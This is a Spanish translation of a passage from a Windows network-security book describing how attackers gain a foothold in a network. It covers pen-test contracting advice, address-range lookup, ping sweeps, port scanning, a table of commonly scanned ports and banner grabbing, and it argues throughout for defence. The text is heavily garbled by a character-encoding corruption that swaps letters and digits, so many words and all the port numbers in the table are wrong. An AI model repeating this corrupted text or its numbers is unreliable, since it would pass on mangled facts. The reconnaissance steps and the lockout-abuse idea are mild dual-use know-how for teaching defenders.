Vous êtes sur la page 1sur 37

Anatoma de un HackLa ascendencia y

cada de tu red
Artculo extrado del libro: Protect Your Windows Network: From Perimeter to Data
Uno de los grandes misterios de la gestin de la seguridad es el modus operandi del atacante. !ue
es lo "ue #acen los atacantes $ cmo lo #acen% &omo con todos los grandes misterios' este genera
un gran inter(s' contabili)ado *or el +enomenal (xito de libros $ cursos de cmo atacar
,erdaderamente las redes. A *esar de "ue atacar redes *ueda ser di,ertido e in+ormati,o -sin ol,idar
"ue ilegal si no se tienen los *ermisos adecuados. lo cierto es "ue la gran ma$ora de nosotros no
tenemos *or"ue saber como #acerlo. /inceramente' con,ertirse en un buen *robador de intrusiones
-testeador de *enetraciones' et#ical #acking' *enetration tester o *en tester. cuesta m0s "ue un curso
de una semana de duracin. 1e"uiere com*romiso' dedicacin' intuicin $ sabidura t(cnica' sin
mencionar la e,idente indi+erencia #aca las normas $ la manera correcta de #acer las cosas. 2stas
son #abilidades "ue la ma$ora de los administradores de seguridad no *oseen' o no necesitan en
muc#os casos. 2n la ma$ora de los casos' es m0s barato $ m0s e+ecti,o contratar a alguien "ue
#aga las *ruebas de intrusin. 3os *robadores de intrusin *ro+esionales estar0n m0s ca*acitados
*ara encontrar *roblemas' as como *ronunciarse sobre "u( lle, a esos *roblemas. 2ntonces' *or
"u( son tan *o*ulares los libros $ cursos sobre ata"ues a redes% 4ien' sinceramente' *rinci*almente
*or el misticismo $ la grandiosidad *ercibida de todo esto. 5ambi(n #a$ cierto ,alor en "ue un
administrador de sistemas sea ca*a) de reali)ar rudimentarias *ruebas de intrusin. De todos
modos' el en+o"ue en este artculo es un *oco di+erente. 6ientras "ue la narrati,a es algo di+usa en
los detalles es*ec+icos sobre cmo los ata"ues +uncionan' seremos mu$ claros en las *r0cticas
o*eracionales "ue #an acabado acarreando el *roblema. 2sto est0 #ec#o mu$ a *ro*sito. 3o
im*ortante a"u no es ense7ar cmo atacar algo' sino cmo los atacantes se a*ro,ec#an de tus
errores. 2sto te *ermitir0 proteger tu red e,itando los escollos "ue los atacantes utili)an.
Antes de em*e)ar' sin embargo' de8emos algo absolutamente claro: ni condenamos ni 8am0s
a$udaremos o de+enderemos a a"uellos "ue atacan redes o sistemas "ue ellos mismos no *oseen o
"ue no #a$an sido in,itados a atacar.
ADVERTENCIA:
Atacar redes $9o sistemas "ue no son de tu *ro*iedad es ilegal' inmoral $ ,a en contra de los
*rinci*ios (ticos de los *ro+esionales de la seguridad in+orm0tica.
60s a:n' (ste artculo demuestra como usar ciertas #erramientas. Aun"ue algunas de ellas est0n
dis*onibles libremente en ;nternet' muc#as +ueron escritos a medida con el *ro*sito del testeo de
intrusiones legtimas. A:n as' se a*lica el mismo *rinci*io.
Lo Que un Test de Intrusin No Te Dir
6uc#os de nosotros #emos *odido estar en,ueltos en tests de intrusiones como testeadores o como
clientes' o al menos #aber sido contactados *or es*ecialistas "ue nos o+recan un pen test. Los pen
test no son m0s "ue lo "ue *arecen -un test *ara ,er si se *uede *enetrar en la red.. <ec#o
correctamente' un pen test tiene un ,alor enorme= $ aun"ue se #aga incorrectamente' *uede "ue
tomar *arte en (l sea bastante excitante. /in embargo' a la ma$ora de nosotros no nos *agan *or
rom*er cosas' sino *ara *rotegerlas $ asegurarnos de "ue los ser,icios "ue *ro*orcionan +uncionan.
2n este caso' necesitas saber ciertas cosas acerca de los test de intrusin.
Primero' la ma$ora de los administradores de sistemas no suelen #acer normalmente buenos test de
intrusin. Una de las ra)ones es *or"ue ellos $a #an cerrado todos los agu8eros "ue conocen= de no
ser as' seran unos *(simos administradores de sistemas. Adem0s' ser un buen testeador de
intrusiones re"uiere la #abilidad de *ensar como un criminal. Des*u(s de todo' el ob8eti,o es
demostrar lo "ue un atacante #ara. 3a ma$ora de nosotros #emos sido educados desde tem*rana
edad a ser gente obediente $ sim*lemente no somos buenos a la #ora de *ensar es"uemas criminales
con,incentes e inno,adores. /in embargo' #a$ gente "ue es mu$ buena en esto. Algunos de ellos
son criminales' $ deberas ale8arte de cual"uiera "ue *resuma sobre acti,idades criminales. No
obstante' #a$ muc#a gente con estas #abilidades "ue son >w#ite #at? #ackers -lo contrario de >black
#at? o criminal.. 3os @w#ite #at@ #ackers tienen una em*resa de renombre detr0s' $ #an solido *asar
una in,estigacin' $ *ueden ser contratados a tra,(s de di,ersas em*resas es*eciali)adas.
/egundo' una *rueba de intrusin "ue #a$a ido mal *uede tener consecuencias +atales *ara la
estabilidad de tu red. Por e8em*lo' algunas de las #erramientas utili)adas *or los atacantes -tanto si
son >w#ite? o >black #at?. est0n destinadas a *robar las ,ulnerabilidades de la red. &on algunas
,ulnerabilidades' *articularmente a"uellas denominadas de denegacin de ser,icio -Do/ o denialA
o+Aser,ice.' es mu$ di+cil *redecir antes del test si un sistema es ,ulnerable. 2n consecuencia'
algunas de estas utilidades sim*lemente lan)an el ata"ue. /i el sistema sigue +uncionando des*u(s
de esto' es "ue no era ,ulnerable :A. Utili)ar esta clase de #erramientas de un modo incorrecto
contra una red en *roduccin *odra tener el e+ecto de de8ar toda esa red +uera de *roduccin
realmente r0*ido. A:n en ausencia de esta clase de dis*arates' siem*re *odemos errar el tiro al
utili)ar #erramientas $ ex*loits -utilidades "ue ex*lotan ,ulnerabilidades en sistemas. contra un
sistema' desestabili)ando el sistema o toda la red o alguna otra consecuencia no intencionada. Un
*ro+esional sabe donde marcar la lnea $ cuan le8os *uede +or)ar la red sin rom*erla' mientras "ue
un *rinci*iante normalmente no.
5ercero' el pen testing re"uiere de #erramientas es*eciali)adas' #erramientas "ue' en muc#os casos'
no est0n com:nmente dis*onibles. Aun"ue algunos administradores de sistemas son *er+ectamente
ca*aces de escribir estas #erramientas' normalmente el tiem*o dedicado a ello es un tiem*o me8or
dedicado a *roteger la *ro*ia red.
&uarto' la *arte m0s im*ortante de las *ruebas de intrusin -redactar las conclusiones. es en
realidad bastante tedioso. 2n la siguiente narrati,a' +i8aros sim*lemente en como de detalladas son
las descri*ciones de los ata"ues. 5ened en cuenta tambi(n "ue nosotros sim*li+icaremos algunas
cosas deliberadamente *ara e,itar dar una com*leta receta de como atacar una red. Por contra' *ara
escribir un buen in+orme de *ruebas de intrusin' el pen tester deber0 guardar notas
extremadamente detalladas $ dedicar #oras en 8untarlas todas en un documento :til. A menos "ue el
in+orme tenga su+icientes detalles como *ara *ermitir "ue alguien *ueda emular el ata"ue' ser0 de
*oco ,alor.
5odo esto se reduce a una cosa: aun"ue es im*ortante saber como o*eran los atacantes' los ti*os de
*r0cticas o*eracionales en las "ue se basan $ los ata"ues "ue utili)an= ser ca*a) de reali)ar
,erdaderamente estos ata"ues no es re"uerido en muc#os administradores de sistemas o de
seguridad. Una cosa es a*reciar el arte' $ otra cosa mu$ di+erente es ser ca*a) de crearlo. 2l pen
testing es un arte. 6i conse8o es "ue de8(is este a*artado a la gente "ue tiene destre)a' mentalidad $
tiem*o *ara a*render a #acerlo bien. A menudo' esta tarea es me8or de8arla a los es*ecialistas
*or"ue ellos tienen la destre)a' las #erramientas $ la mentalidad' $ no est0n in+luenciados *or
ning:n conocimiento *re,io sobre ,uestra red. <abla con colegas de otras com*a7as' en listas de
correo $ en gru*os de noticias *ara a*render "uienes son los me8ores asesores sobre intrusiones de
seguridad. 5en en cuenta "ue las *ruebas de intrusin a ni,el de a*licacin $ las "ue se #acen a
ni,el de red son dos tareas com*letamente di+erente. 2l #ec#o de "ue alguien #a$a sido ca*a) de
encontrar ,ulnerabilidades en alg:n *roducto concreto no signi+ica "ue sea su+icientemente
com*etente como *ara atacar una red. 4usca em*resas "ue est(n es*eciali)adas en *ruebas de
intrusin' si eso es lo "ue realmente te interesa. 5ambi(n existe la ,aloracin de a*licaciones' *ero
es un ti*o di+erente de com*romiso' con un ob8eti,o di+erente $ es :til *ara organi)aciones "ue
desarrollan so+tware *ro*io o "ue usan so+tware *ersonali)ado.
/i #as sido designado *ara contratar una *rueba de intrusin' cuales son las ad,ertencias "ue
deberas mirar% Primero $ sobre todo' $ no *odemos en+ati)arlo su+icientemente: asegrate de que
quienquiera que firme el contrato para realizar un pen test tiene la potestad para autorizar a
alguien para que entre en tu red, para concederle un salvoconducto que le libre de la crcel.
<a$ gente #o$ da cum*liendo *ena en *risin *or"ue rom*ieron sistemas "ue cre$eron estaban
autori)ados a rom*er' solo *ara descubrir m0s tarde "ue en realidad' no tenan esta autoridad. 2l
mismo destino *uede es*erarle a alguien "ue contrata a una *ersona *ara rom*er un sistema sin
tener autoridad *ara #acerlo.
/egundo' aseg:rate "ue tienes su+icientes acuerdos de con+idencialidad $ no di,ulgacin -NDA o
nondisclosure agreements. dis*uestos' $ de "ue no se les *ermite a los consultores retener
in+ormacin delicada de la com*a7a' exce*to ba8o extremos est0ndares de *roteccin de datos.
Nada *uede ser *eor "ue *agar a alguien *ara "ue entre a tu sistema' *ara descubrir m0s adelante
"ue la red donde esa *ersona guard el dise7o de como #acerlo acabe siendo com*rometida. B *eor
a:n' "ue esa *ersona tom esa in+ormacin $ se la ,endi a un tercero.
5ercero' trata el in+orme como una saludable in+usin de *aranoia. 2sto es es*ecialmente cierto con
in+ormes de *ruebas de ca8a negra -a"uellas donde los *robadores no tienen acceso a la in+ormacin
interna' como el cdigo +uente o las listas de las cuentas.' lo "ue demuestra lo "ue un atacante sin
in+ormacin interna es ca*a) de #acer. Uno de los *eores errores de un administrador de seguridad
es asumir "ue todo est0 bien.
Por :ltimo' *resta atencin a la mtica +rase >tu red es segura?. &on alarmante +recuencia' los
consultores *resentan in+ormes "ue a+irman "ue una red es segura' bas0ndose en el #ec#o de "ue
ellos +ueron inca*aces de *enetrar en ning:n lado. Esto no significa que tu red sea segura. /i un
pen tester te dice "ue tu red e segura' lo :nico "ue te est0 diciendo es "ue no es su+icientemente
com*etente como *ara *robar "ue no lo es. 5u red no es segura. /im*lemente' est0 *rotegida contra
las ,ulnerabilidades $ *roblemas "ue el pen tester conoce como ex*lotar. 2l contrato suele ex*licar
"ue es lo "ue constitu$e una intrusin exitosa as como una reduccin de la com*ensacin si el pen
tester es inca*a) de conseguir una. 60s im*ortante a:n' el resultado de una #erramienta de an0lisis
de ,ulnerabilidades no constitu$e una *rueba de intrusin.
!or"u# Necesitas Entender so$re Hackin%
&omo con cual"uier otro cometido en la ,ida' #a$ una manera +0cil de *oner en marc#a una red $
#a$ una manera a*ro*iada de *oner en marc#a una red. 3as dos no ocurren necesariamente a la ,e).
2xiste un dese"uilibrio +undamental entre lo seguro' lo *r0ctico $ lo barato. 3a gran ma$ora de las
redes se constru$en *ara ser :tiles $ baratas' entendiendo como barato algo "ue es >sim*le de *oner
en marc#a?. 2l *roblema es "ue el m(todo m0s sencillo no siem*re es el m(todo m0s seguro. 2n la
ma$ora de los casos' las *r0cticas +uncionales m0s sim*les tambi(n sim*li+ican el ata"ue. 2n otros
casos' estas *r0cticas #abilitan categricamente los ata"ues. 6uc#as redes de #o$ en da est0n
construidas en lo "ue llamamos >el *rinci*io de la c0scara de #ue,o.?
E& !rinci'io de &a Cscara de Hue(o
3as redes actuales' suelen ser duras $ cru8ientes en el exterior *ero blandas $ ,iscosas en el interior.
2s sumamente im*ortante entender este *rinci*io. 2l #ec#o es "ue si un atacante consigue un *unto
de a*o$o dentro de la red' el resto de la red caer0 cual *ie)as de domin. Una ,e) dentro' la *arte
m0s di+cil suele ser estimar el *rximo ata"ue $ donde buscar los suculentos bits de in+ormacin.
/in embargo' no tiene *or "u( ser de este modo. &on las t(cnicas a*ro*iadas' *odemos lograr dos
ob8eti,os cruciales:
b!etivo de la seguridad en la red " C <acer "ue sea muc#simo m0s di+cil dar ese *rimer
*aso dentro de la red en *rimer lugar.
b!etivo de la seguridad en la red #C <acer "ue sea muc#simo m0s di+cil usar ese *rimer
*aso *ara llegar a cual"uier otro sitio de la red.
2l *rinci*io "ue est0 tras el *rimer ob8eti,o es "ue es *re+erible mantener a un atacante totalmente
+uera de tu red. A"u es donde el *arc#eo de *rogramas' los *ermetros de *roteccin $ la seguridad
de la a*licacin ex*uesta entran en 8uego. 2n este artculo' cubrimos solo como caen esas medidas
de *roteccin.
2l segundo ob8eti,o ase,era "ue en caso de "ue el *rimer ob8eti,o +alle $ un atacante d( un *aso
dentro de tu red' es *re+erible en general "ue se mantenga ese com*romiso al mnimo. 1econstruir
una red com*leta es normalmente menos di,ertido "ue reconstruir un sim*le e"ui*o. Para m0s
in+ormacin sobre como mantener a un atacante +uera de tu red' mira el *unto >&mo 6antener a
un Atacante Fuera de 5u 1ed? al +inal del artculo. Antes de "ue lleguemos a ese *unto' ,amos a
,er como un atacante *uede com*rometer una red.
La Red )$*eti(o
Antes de em*e)ar atacando la red ob8eti,o' ec#emos un ,ista)o a lo "ue nos estamos en+rentando.
2,identemente' un atacante real cu$o ob8eti,o es una red real raramente tendr0 acceso a los
diagramas de la red= en nuestro caso' sin embargo' nos ser0 esclarecedor ec#ar un ,ista)o a la
con+iguracin de la red ob8eti,o' como *or e8em*lo esta siguiente:
Nuestra red ob8eti,o es una subred est0ndar con doble +iltro de *a"uetes de cara a ;nternet $ un
router de +iltrado en el interior. 3a red *erim(trica -tambi(n conocida como D6D' )ona
desmilitari)ada o screened subset. tiene una con+iguracin bastante com:n con un ser,idor Web al
+rente' una base de datos en el interior $ un controlador de dominio D6D. 2xiste tambi(n un
controlador de dominio cor*orati,o en el interior. 2l ob8eti,o es a*oderarse de ese controlador de
dominio.
!ui)0 el :nico as*ecto inslito de esta red es el #ec#o de "ue el ser,idor Web $ el controlador de
dominio del centro de datos est(n sir,iendo los dos como encaminadores o routers. 2sto es
realmente debido a cmo se estructur esta demostracin. 3a red se constru$ usando 6icroso+t
Eirtual P& FGGH. /e #i)o as *ara #acer la red lo su+icientemente *ortable como *ara e8ecutarlo en
un sim*le *ort0til. De #aber construido esto con di+erentes router' #abramos necesitado tres
ordenadores *ort0tiles -dos m0s de los "ue "ueramos trans*ortar.. &on ese +in' tanto el ser,idor
Web como el Data &enter #acen las ,eces de encaminadores *ara reducir el n:mero de e"ui*os
necesarios. /in embargo' esta *oco ortodoxa con+iguracin tiene *oca rele,ancia en lo "ue ,iene a
continuacin.
!oniendo un !ie en &a Red
2l *rimer *aso a la #ora de atacar cual"uier red es descubrir "u( atacar: dar un *aso en la red
ob8eti,o. <a$ muc#as t(cnicas *ara ello. 2l ob8eti,o *rinci*al es a*render m0s sobre la red. <a$
muc#o *or descubrir' inclu$endo entre otras cosas' lo siguiente:
1angos de direcciones de red
Nombres de e"ui*os
2"ui*os ex*uestos
A*licaciones ex*uestas en esos e"ui*os
;n+ormacin sobre las ,ersiones de los sistemas o*erati,os $ las a*licaciones
2l estado de *arc#eo9actuali)acin de los e"ui*os $ las a*licaciones
2structura de las a*licaciones $ los ser,idores 4ackA2nd -*rogramas "ue e+ect:an las
acciones de +ondo.
Detalles de im*lementacin "ue el administrador de sistemas #a$a *odido *ostear9*ublicar
en gru*os de noticias o mencionar a un re*ortero
Ran%os de direcciones de red
2l *rimer *aso es encontrar las ubicaciones lgicas de las redes "ue interesen. 2stamos reali)ando
una *rueba de intrusin de ,ictimsrus.com -*arodiando to$sIrIus.' as "ue ,amos a em*e)ar *or
buscar "u( redes est0n registradas en ,ictimsrus.com. <acerlo es mu$ sencillo' $a "ue los rangos de
direcciones son de acceso *:blico. 5an solo tienes "ue ir a #tt*:99www.sams*ade.org ' teclear
>,ictimsrus.com? $ *ulsar ;ntro. Nos de,ol,er0 todo ti*o de in+ormacin :til sobre los rangos de
direcciones de >,ictimsrus.com?' inclu$endo la +orma de contacto entre otras muc#as cosas m0s.
/in embargo' a:n m0s interesantes "ue los rangos de direcciones registrados *:blicamente *or
,ictimsrus.com sea "ui)0 cual"uier in+ormacin sobre redes *osiblemente conectadas a la red
ob8eti,o. Por e8em*lo' *uede "ue #a$a una extranet situada en extranet.,ictiumsrus.com. 2sta
extranet no est0 *ublicitada del mismo modo "ue el n:cleo de ,ictimsrus.com' as "ue *odramos
a*ostar a "ue no est0 asegurada tan bien como la red *:blica *rinci*al. Adem0s' *uedes llegar a
saber "ue otra em*resa est0 asociada con ,ictimsrus.com= de ese modo' ser0 m0s sencillo atacar la
red asociada $ desde a# saltar #asta ,ictimsrus.com. 5en en cuenta cual es el *rinci*io +undamental
de un ata"ue exitoso: a veces el camino ms corto $ac%a tu ob!etivo no es a trav&s de la puerta
principal.
3os atacantes son ,agos como todos los dem0s. Por"u( com*licar las cosas atacando una red o un
e"ui*o bien *rotegidos cuando *uedes tomar el camino m0s sim*le atacando otra *rotegida
*obremente $ des*u(s a*oderarte de la "ue est0 bien de+endida *or la es*alda%
Por"u( atacar una *uerta *rinci*al bien *rotegida%
Demasiadas ,eces ol,idamos este conce*to.
)&(idndose de &os ata"ues ms sim'&es
<ace ,arios a7os' un cliente "ue buscaba consultora *idi a$uda *ara su red *ri,ada ,irtual -EPN..
2sto ocurri en el *eriodo oscuro de la banda anc#a= ellos "ueran *ermitir a los em*leados lle,ar sus
*ort0tiles a casa *ara conectarse a la com*a7a a tra,(s de EPN. Para ello' iban a montar una red
*ri,ada ,irtual basada en ;Psec. 3es a,isamos del *roblema "ue conlle,aba EPN en a"uella (*oca: si
alg:n em*leado #aba instalado alguno de los dis*ositi,os router9switc# "ue #acan de NA5 $9o
corta+uegos' $ lo conectaba a su conexin de banda anc#a' el EPN de8aba de +uncionar. ;Psec no
*oda atra,esar NA5 en a"uellos das. 2l cliente e,identemente' "uera "ue los em*leados usaran
NA5' as "ue sugerimos usar una tecnologa EPN "ue *udiera atra,esar los dis*ositi,os m0s
comunes "ue los em*leados iban a usar *ara montar un +irewall: esa tecnologa era PP5P. 3a
reaccin +ue c#ocante: >JB noK' no *odemos usar PP5P. 2s inseguro. L5rusted/ecurit$2x*erts #a
encontrado +allos en (l?.
2so era *arcialmente cierto. Un *ar de a7os antes' dos ex*ertos de seguridad #aban redactado un
in+orme sobre los *roblemas de seguridad en PP5P. /in embargo' 6icroLo+t #aba corregido todos
estos *roblemas $ *ublic otra ,ersin de PP5P -como nota' decir "ue solo dos *e"ue7as
,ulnerabilidades de denegacin de ser,icios +ueron encontrados en PP5P desde "ue a"uel *arc#e +ue
*ublicado' #ace $a M a7os.. &uando +ueron in+ormados de esto' el cliente contest. >4ien' *ero
L5rusted/ecurit$2x*erts insiste en "ue a:n es inseguro?. 2so tambi(n era cierto' los mismos
in,estigadores #aban concluido "ue' a *esar de "ue la actuali)acin trataba todos los *roblemas' el
*rotocolo era toda,a seguro solo si las contrase7as "ue los usuarios usaban en sus conexiones
tambi(n lo eran. 2l cliente +ue in+ormado de esto tambi(n' $ le mati)amos "ue ning:n *rotocolo era
m0s seguro "ue las cla,es usadas *ara asegurarlo. 5oda,a seguan sin "uerer usar PP5P' as "ue
cambiamos de estrategia $ les *reguntamos con "ue clase de dis*ositi,os iban a usar los em*leados
la EPN. Nos res*ondieron "ue todos los em*leados tenan un *ort0til. Ante la *regunta de "u(
sistema o*erati,o #aban instalado' ellos res*ondieron airosamente "ue WindowsNO. 3a *rimera
,ersin de Windows NO. A"uella "ue o+reca el nombre de usuario $ contrase7a en texto *lano a
cual"uiera "ue se lo *reguntara amablemente. &on esa *rimera ,ersin de WinNO' todo lo "ue un
atacante tena "ue #acer era *ersuadir al usuario *ara "ue iniciara una conexin con el atacante. 2l
atacante tan solo tendra "ue *edir una autenticacin en texto *lano $ WindowsNO +eli)mente
com*lacera $ en,iara en texto claro el nombre de usuario $ contrase7a. Ning:n atacante tratar0 de
cra"uear el ci+rado de PP5P cuando todo lo "ue #a de #acer es *reguntar *or un nombre de usuario $
contrase7a ,0lidos $ conectarse como usuario legtimo. 2,identemente' este cliente no se daba
cuenta "ue el ,ector de ata"ue "ue ellos trataban de *roteger no era a"uel del "ue tenan "ue
*reocu*arse.
Nota
Ninguna red es m0s segura "ue el dis*ositi,o menos seguro "ue se conecte a ella' inclu$endo todos
los usuarios EPN "ue se conecten a la misma.
Ya "ue un atacante siem*re se es+or)ar0 en encontrar la manera m0s sim*le de atacar algo' es
im*ortante darse cuenta "ue ninguna red es m0s segura "ue su eslabn m0s d(bil: la red u ordenador
m0s inseguro "ue est( conectado al ob8eti,o. 3a *rxima ,e) "ue recibas *eticiones de enla)ar una
red asociada a la red de tu organi)acin' *regunta "u( ti*o de *r0cticas de seguridad $ *olticas
est0n usando. /i no son como mnimo tan buenas como las tu$as' deberas tomar las medidas
su+icientes como *ara mitigar cual"uier e+ecto de excedencia causado *or su *obre seguridad.
Aseg:rate de "ue sabes "u( *oltica de seguridad sigue cada red asociada "ue se conecte a tu red.
Aun"ue un acuerdo de ni,el de ser,icios es una consolacin *obre cuando eres atacado' sera :til
mirarlo *ara ,er "u( *lanean *ara mantener su red -$ *or extensin la tu$a. *rotegida.
Nom$res de E"ui'os
3o siguiente "ue un atacante necesita son los nombres de los e"ui*os. 2n algunos casos' es *osible
reali)ar una consulta DN/ de grandes blo"ues de la red. 2s *osible reali)ar algo llamado
trans+erencia de )ona' "ue es sim*lemente una *eticin a un ser,idor DN/ *ara "ue en,e una co*ia
de toda una )ona DN/ -una lista de todos los nombres registrados en la red.. Aun"ue los nombres
de los e"ui*os no son crticamente im*ortantes *ara la ma$ora de los ata"ues' *ueden sim*li+icar
algunos de ellos. Por e8em*lo' si tienes el nombre de un ser,idor Web "ue corre sobre ;;/' *uedes
deducir la cuenta ;;/ annima de ese #ost *or"ue normalmente se llama ;U/1PQnombreP#ostR.
A#ora ,amos a asumir "ue el administrador #a reali)ado algo com*letamente in:til $ #a
con+igurado la cuenta de *aro +or)oso -lockout. en ese sistema. 5odo lo "ue tiene "ue #acer un
atacante *ara asaltar ese ser,idor Web es en,iar un gran n:mero de *eticiones *idi(ndole "ue se
autenti"ue ante ti como ;U/1PQnombreP#ostR. 2n *oco tiem*o' *uede en,iar su+icientes
contrase7as errneas como *ara blo"uear la cuenta de usuario annimo. Des*u(s de "ue esa cuenta
se blo"uee' *uede continuar mandando su+icientes *eticiones errneas como *ara "ue ese ser,idor
Web no *ueda ser,ir nada a nadie. Ya sabemos "ue las contrase7as son la :ltima lnea de de+ensa'
*ero *or a#ora recuerda no #abilitar el blo"ueo de cuentas en ser,idores "ue est(n de cara al *:blico
-o en cual"uier otro lado "ue im*orte.
E"ui'os E+'uestos
60s interesantes "ue los nombres de los e"ui*os son los e"ui*os en s mismos "ue est0n
,erdaderamente ex*uestos. 2n esta +ase del ata"ue' tratamos de locali)ar ob8eti,os sencillos.
<acerlo *uede ser absolutamente tri,ial. Puede "ue no necesites ninguna #erramienta' siem*re "ue
el tr0+ico ;nternet &ontrol 6essage *rotocolo -;&6P. no est( blo"ueado en el extremo. 2n este
caso' este comando es *er+ectamente su+iciente:
c:\DiscoverHosts 192.168.2
192.168.2.30
Disco,er<osts es tan solo un sencillo en,oltorio del eco ;&6P-*ing. *ara ,eri+icar "uien res*onde
en una red en *articular. /i el eco ;&6P no est0 blo"ueado' tan solo tendramos "ue sentarnos
mientras la red genera una lista de direcciones ,0lidas.
2n la gran ma$ora de los casos' el tr0+ico ;&6P ser0 en,iado al 9de,9null -a la *a*elera. en el
extremo' *ero es sor*rendente la +recuencia con "ue los dem0s se ol,idan de asegurarse de "ue esto
sea as. Aun"ue esto no e,itara la enumeracin de los #osts' lo #ace marginalmente m0s com*le8o
*or"ue el atacante necesita #acer uso de unas #erramientas *ersonali)adas llamadas escaneadores de
*uertos -*. e8: N6AP.
,&o"ueando e& eco IC-!
Pens0bamos "ue era ob,io "ue el eco ;&6P debera ser blo"ueado. /in embargo' recientemente
#emos recibido un eAmail de alguien "ue atendi a nuestras *resentaciones' ase,erando "ue #acerlo
*ro,ocara el mal+uncionamiento de la red. 2n *articular' la *ersona "ue escribi el eAmail estaba
*reocu*ado *or"ue el re,elador de P65U -la ruta de la m0xima unidad de trans+erencia= el *roceso
*or el "ue los #osts determinan el tama7o m0ximo del segmento "ue *ueden en,iar entre ellos. usa
;&6P. /in embargo' blo"uear el eco ;&6P no lo estro*ea. 2l re,elador P65U usa mensa8es ;&6P
inalcan)ables $ con+a en los routers *ara "ue los en,en. 4lo"uear eco ;&6P de entrada $ res*uesta
;&6P de salida desde detr0s de los encaminadores no tiene ning:n e+ecto en el descubridor ;&6P.
Un escaneador de *uertos es sim*lemente una #erramienta *ara a,eriguar "u( *uertos est0
escuc#ando un #ost. 2sto se *uede #acer' *or e8em*lo' intentado establecer una conexin. Una
conexin exitosa signi+ica "ue el #ost est0 escuc#ando. Una conexin insatis+actoria o +racasada
normalmente signi+ica "ue no. Pro+undi)ar m0s en los escaneadores de *uertos se ale8a bastante del
0mbito de este artculo. No obstante' unas *e"ue7as nociones b0sicas son im*ortantes. Primero' el
ti*o de escaneo de *uertos m0s com:n es el conocido como escaneo /YN. Un escaneo /YN ocurre
cuando el ata"ue en,a un *a"uete de sincroni)acin al ob8eti,o. /i un #ost tiene una a*licacin
escuc#ando en ese *uerto a donde se dirigi el *a"uete /YN' res*onder0 con un *a"uete de A&S
-con+irmacin. $ el escaneador in+ormar0 de un *uerto abierto. Puedes escanear toda una red en
bre,e es*acio de tiem*o. <acerlo en un rango de *uertos bien elegidos *uede *ro*orcionarte una
cantidad tremenda de in+ormacin sobre lo "ue est( dis*onible en la red. Personalmente nos gusta
escanear *uertos "ue nunca deberan escuc#ar *eticiones "ue ,engan m0s all0 del corta+uegos'
como el *uerto del ser,idor /!3 $ el de /64- /er,er 6essage 4lock o &;F/9&ommon ;nternet
File /$stem o 2ntorno de 1ed de Windows.. 2l #ost "ue res*onda a estos *uertos *uede "uedar
accidentalmente ex*uesto a ;nternet' se7al de "ue #a$ un corta+uegos mal con+igurado. 5en cuidado
con est0 su*osicin de todos modos. Algunos +irewalls como el 6icroLo+t ;/A /er,er' so*ortan la
*ublicacin de ser,idores' donde el corta+uegos *ublica el *uerto e ins*ecciona todo el tr0+ico #acia
(l antes de reen,i0rselo al #ost. 2n este caso' aun"ue toda,a *uedes alcan)ar el #ost' algunos de los
*osibles ata"ues *ueden ser blo"ueados *or el corta+uegos. Btros ata"ues *ueden tener (xito'
de*endiendo del ti*o de ser,icio *ublicado $ el ti*o de ins*eccin reali)ado *or el corta+uegos.
/i el #ost existe *ero no tienen ning:n *roceso escuc#ando en un *uerto' cual"uier intento de
conexin conlle,ara a un rec#a)o de la misma= la ma$ora de los escaneadores de *uertos no
in+ormar0n de ellos: /on im*ortantes sin embargo' $a "ue nos *ermiten determinar realmente como
es con+igurado el corta+uegos. Por e8em*lo' un #ost *uede de,ol,er los siguientes resultados:
C:\warez\portscan
Port 192.168.2.30:443 refuse
Port 192.168.2.30:80 open
2sto nos indica "ue #a$ un ser,idor Web $a "ue tiene el *uerto TG abierto. 5ambi(n *odemos
descubrir "ue el corta+uegos #a *ublicado el *uerto HHU -<55P9/. *ara este ser,idor. No obstante'
el ser,idor no est0 escuc#ando a ese *uerto. 2n otras *alabras' existe un agu8ero innecesario en el
corta+uegos. Eol,eremos a (l m0s adelante.
A'&icaciones E+'uestas en Estos E"ui'os
2l escaneo de *uertos es un m(todo *ara determinar "u( a*licaciones est0n ex*uestas en el #ost.
2sto nos *ermite obtener in+ormacin sobre *osible ,ectores de ata"ue. Algunas de las a*licaciones
m0s com:nmente buscadas inclu$en estas $ sus *uertos listados en la siguiente tabla
A&%unas de &as A'&icaciones ms Com.nmente Escaneadas
TC! !ort A'&icacin
FG F5P canal de datos
FV F5P canal de control
FU 5elnet
FO /65P
OU DN/ orientado a conexin -resolucin est0 en UDP OU.
TG <55P
TT ;nternet Se$ 2xc#ange -'(E.
VVG PBPU -6ail.
VUO Windows 1P& 2nd*oint 6a**er
VUM Net4;B/ Name /er,ice
VUN Net4;B/ session
UTN 3DAP
HHU <55P9/
HHO &ommon ;nternet File /$stem 9 /64 nati,o en Windows FGGG $ su*erior
WUW 3DAP sobre //3
VHUU /!3 /er,er -VHUH si tu escaneador de *uertos *uede usar UDP.
VMFU PP5P
UFWT De 3DAP a un Windows Xlobal &atalog /er,er
UUTN 1emote Deskto* *rotocolo -Windows 5erminal /er,ices.
Naturalmente' muc#os de los otros *uertos *ueden estar abiertos' *articularmente si el sistema
ob8eti,o no es un sistema Windows. /in embargo' estos son a"uellos "ue ,amos a mirar en este
artculo
/istema )'erati(o e In0ormacin so$re &a Versin de &a A'&icacin
/iem*re "ue *odamos' ser0 :til "ue obtengamos in+ormacin sobre la ,ersin de las a*licaciones
"ue encontremos. Por e8em*lo' muc#as a*licaciones tienen alg:n ti*o de ense7a -banner. "ue es
en,iada tan *ronto se estable)ca la conexin. 3a ma$ora de los ser,idores /65P $ PBP al igual
"ue muc#os ser,idores Web son con+igurados *ara #acerlo. 2n nuestro caso' la red ob8eti,o est0
e8ecutando ;;/ W.G sobre Windows /er,er FGGU' e ;;/ W.G no en,a una ense7a mu$ :til -es *osible
"ue ;;/ W.G *ueda +iltrar la direccin ;P del ser,idor en la ense7a. /i esto es im*ortante *ara ti'
necesitar0s el *arc#e S4 TUHVHV..
Estado de !arc1eo de& Host y &as A'&icaciones
5ambi(n es mu$ interesante *ara un atacante descubrir cual es el estado de *arc#eo9actuali)acin en
el "ue est0n los ser,idores ex*uestos. 2sta in+ormacin *uede ser obtenida de di+erentes maneras.
2n algunos casos' las ense7as *resentadas *or las a*licaciones nos dir0n todo lo "ue necesitamos
saber. Por e8em*lo' las ense7as de sendmail normalmente te dicen el numero de ,ersin del
demonio. /i sabes "ue ,ersin de sendmail tiene ,ulnerabilidades sin *arc#ear' $a *osees toda la
in+ormacin necesaria *ara comen)ar un ata"ue contra ese sistema. 2n otros casos' *uedes
inter*retar a tra,(s de las res*uestas "ue el sistema de,uel,e si tiene un *arc#e en *articular o no.
